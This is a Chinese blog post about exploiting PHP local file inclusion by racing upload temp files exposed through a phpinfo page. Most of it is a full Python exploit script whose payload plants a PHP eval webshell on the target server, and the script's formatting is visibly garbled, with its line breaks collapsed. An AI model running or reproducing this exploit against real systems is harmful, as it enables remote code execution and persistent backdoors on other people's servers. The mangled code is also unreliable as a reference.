文件包含奇技淫巧

2024-08-29 17:28
文章标签 奇技淫巧

本文主要是介绍文件包含奇技淫巧,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

未完成

一个项目中遇到的漏洞

环境搭建

index.php

<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>

phpinfo.php

<?php
phpinfo();
?>

代码分析

首先我们要读取flag,想要直接include包含flag,但是flag被过滤了。然后想要使用php://input也无法使用因为。allow_url_fopen、allow_url_include这两个属性没有都On

然后dir是进行目录扫描的,扫描我们的临时文件。看到临时文件我们可以有这个么思路,我们可以在生成临时文件的时候进行竞争,在没删掉之前就包含成功。或者在生成临时文件的时候让那个php文件停下来。

在这里有一个phpinfo的页面

这里有一个想法就是在header头部填充数据,然后phpinfo会打印我们的header头部,这样让进程走的慢一些,然后在没打印完成时是不会删除临时文件的。然后我们想办法包含这个文件就可以了。这里是一个线程不停的在phpinfo发送垃圾数据,一个线程在index.php不断地包含文件。

脚本

#!/usr/bin/python
import sys
import threading
import socket
import timedef setup(host, port):TAG = "Security Test"PAYLOAD = """%s\r<?php fputs(fopen('../../shellaaaaa.php','w'),'<?php @eval($_POST[a]);')?>\r""" % TAGREQ1_DATA = """-----------------------------7dbff1ded0714\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\rContent-Type: text/plain\r\r%s-----------------------------7dbff1ded0714--\r""" % PAYLOADpadding = "A" * 5000REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\rHTTP_ACCEPT: """ + padding + """\rHTTP_USER_AGENT: """ + padding + """\rHTTP_ACCEPT_LANGUAGE: """ + padding + """\rHTTP_PRAGMA: """ + padding + """\rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\rContent-Length: %s\rHost: %s\r\r%s""" % (len(REQ1_DATA), host, REQ1_DATA)# modify this to suit the LFI scriptLFIREQ = """GET /lfi.php?file=%s HTTP/1.1\rUser-Agent: Mozilla/4.0\rProxy-Connection: Keep-Alive\rHost: %s\r\r\r"""return (REQ1, TAG, LFIREQ)def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s2.connect((host, port))s.send(phpinforeq)d = ""while len(d) < offset:d += s.recv(offset)try:i = d.index("[tmp_name] =&gt; ")fn = d[i + 17:i + 44]except ValueError:return Nones2.send(lfireq % (fn, host))d = s2.recv(4096)s.close()s2.close()if d.find(tag) != -1:return fncounter = 0class ThreadWorker(threading.Thread):def __init__(self, e, l, m, *args):threading.Thread.__init__(self)self.event = eself.lock = lself.maxattempts = mself.args = args
//shell运行成功会到这里def run(self):global counterwhile not self.event.is_set():with self.lock:if counter >= self.maxattempts:returncounter += 1try:x = phpInfoLFI(*self.args)if self.event.is_set():breakif x:print "\nGot it! Shell created in /tmp/g"self.event.set()except socket.error:returndef getOffset(host, port, phpinforeq):"""Gets offset of tmp_name in the php output"""s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.send(phpinforeq)d = ""while True:i = s.recv(4096)d += iif i == "":break# detect the final chunkif i.endswith("0\r\n\r\n"):breaks.close()i = d.find("[tmp_name] =&gt; ")if i == -1:
//临时文件没找到raise ValueError("No php tmp_name in phpinfo output")print "found %s at %i" % (d[i:i + 10], i)# padded up a bitreturn i + 256def main():print "LFI With PHPInfo()"print "-=" * 30if len(sys.argv) < 2:print "Usage: %s host [port] [threads]" % sys.argv[0]sys.exit(1)try:host = socket.gethostbyname(sys.argv[1])except socket.error, e:print "Error with hostname %s: %s" % (sys.argv[1], e)sys.exit(1)port = 80try:port = int(sys.argv[2])except IndexError:passexcept ValueError, e:print "Error with port %d: %s" % (sys.argv[2], e)sys.exit(1)poolsz = 10try:poolsz = int(sys.argv[3])except IndexError:passexcept ValueError, e:print "Error with poolsz %d: %s" % (sys.argv[3], e)sys.exit(1)print "Getting initial offset...",reqphp, tag, reqlfi = setup(host, port)offset = getOffset(host, port, reqphp)sys.stdout.flush()maxattempts = 1000e = threading.Event()l = threading.Lock()print "Spawning worker pool (%d)..." % poolszsys.stdout.flush()tp = []for i in range(0, poolsz):tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))for t in tp:t.start()try:while not e.wait(1):if e.is_set():breakwith l:sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))sys.stdout.flush()if counter >= maxattempts:breakprintif e.is_set():print "Woot!  \m/"else:print ":("except KeyboardInterrupt:print "\nTelling threads to shutdown..."e.set()print "Shuttin' down..."for t in tp:t.join()if __name__ == "__main__":main()

这篇关于文件包含奇技淫巧的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1118495

相关文章

CSS 有什么奇技淫巧

不是什么奇技淫巧,但是一行css代码可能让你省下js代码 ,作为前端的你变得更加专业: 1. 阻止鼠标选择文本 .no-select { user-select: none } 阻止用户在页面上选择文本。 2. 响应式文字大小 /* Fixed minimum value below the minimum breakpoint */.fluid {font-size

Flink CheckPoint奇技淫巧 | 原理和在生产中的应用

简介 Flink本身为了保证其高可用的特性,以及保证作用的Exactly Once的快速恢复,进而提供了一套强大的Checkpoint机制。Checkpoint机制是Flink可靠性的基石,可以保证Flink集群在某个算子因为某些原因(如异常退出)出现故障时,能够将整个应用流图的状态恢复到故障之前的某一状态,保 证应用流图状态的一致性。Flink的Checkpoint机制原理来自“Chandy-

关于Python的20个奇技淫巧

Python有非常多有趣使用的技巧,下面列举20个短小精炼的用法,其中既包含常规语法,又有第三方库的妙用,体现了python简单即美的编程哲学。 快速实现字频统计 from collections import Counterwords = '''我明白你的意思,你的意思就是想意思意思,但是你不明白我的意思,我的意思是你不用意思意思。'''word_counts = Counter(word

如何快速高效的训练ResNet,各种奇技淫巧(八):一大波技巧

点击上方“AI公园”,关注公众号,选择加“星标“或“置顶” 作者:David Page 编译:ronghuaiyang 导读 这个系列介绍了如何在CIFAR10上高效的训练ResNet,这是第八篇,给大家总结了一大波的技巧,这些技巧同样可以用到提升准确率上。 在本系列的最后一篇文章中,我们绕了一圈,加快了我们的单gpu训练,与多gpu竞争。我们推出了一系列标准和不太标准的技巧,通过增

如何快速高效的训练ResNet,各种奇技淫巧(六):权值衰减

点击上方“AI公园”,关注公众号,选择加“星标“或“置顶” 作者:David Page 编译:ronghuaiyang 导读 这个系列介绍了如何在CIFAR10上高效的训练ResNet,这是第六篇,给大家讲解权值衰减的相关内容以及训练中的各种动态。 我们了解到更多的关于权值衰减对训练的影响,并发现了一个与LARS之间意想不到的关系。 其中我们更深入地研究了学习率的动态 读者可能在这

如何快速高效的训练ResNet,各种奇技淫巧(五):超参数

点击上方“AI公园”,关注公众号,选择加“星标“或“置顶” 作者:David Page 编译:ronghuaiyang 导读 这个系列介绍了如何在CIFAR10上高效的训练ResNet,这是第五篇,给大家讲解超参数的相关内容。 我们开发了一些超参数调优启发式算法。 关于超参数调优以及如何避免它 人们普遍认为神经网络的超参数选择是困难的。如果有人赞同这一观点,就会出现两种不同的行动方针

如何快速高效的训练ResNet,各种奇技淫巧(四):网络结构

点击上方“AI公园”,关注公众号,选择加“星标“或“置顶” 作者:Ayoosh Kathuria 编译:ronghuaiyang 导读 这个系列介绍了如何在CIFAR10上高效的训练ResNet,到第4篇文章为止,我们使用单个V100的GPU,可以在79s内训练得到94%的准确率。里面有各种各样的trick和相关的解释,非常好。 我们寻找更有效的网络架构,并找到一个9层网络,训练时间

如何快速高效的训练ResNet,各种奇技淫巧(三):正则化

点击上方“AI公园”,关注公众号,选择加“星标“或“置顶” 作者:David Page 编译:ronghuaiyang 导读 这个系列介绍了如何在CIFAR10上高效的训练ResNet,到第4篇文章为止,我们使用单个V100的GPU,可以在79s内训练得到94%的准确率。里面有各种各样的trick和相关的解释,非常好。 我们发现了一个性能瓶颈,并增加了正则化,从而将训练时间进一步缩

如何快速高效的训练ResNet,各种奇技淫巧(二):Mini-batch

点击上方“AI公园”,关注公众号,选择加“星标“或“置顶” 作者:Ayoosh Kathuria 编译:ronghuaiyang 导读 这个系列介绍了如何在CIFAR10上高效的训练ResNet,到第4篇文章为止,我们使用单个V100的GPU,可以在79s内训练得到94%的准确率。里面有各种各样的trick和相关的解释,非常好。 我们研究了mini-batch对训练的影响,并使用更大

【C++奇技淫巧】CRTP(奇特重现模板模式)

CRTP(Curiously Recurring Template Pattern,奇特重现模版模式),是一种在C++中使用模板来实现的设计模式,主要用于实现编译时多态性(静态多态)。这种模式通过类模板和模板继承机制来实现,使得派生类在继承时将自身作为基类模板的参数。 这里采用的中文名字参考了zh.cppreference.com 示例解析 template <typename T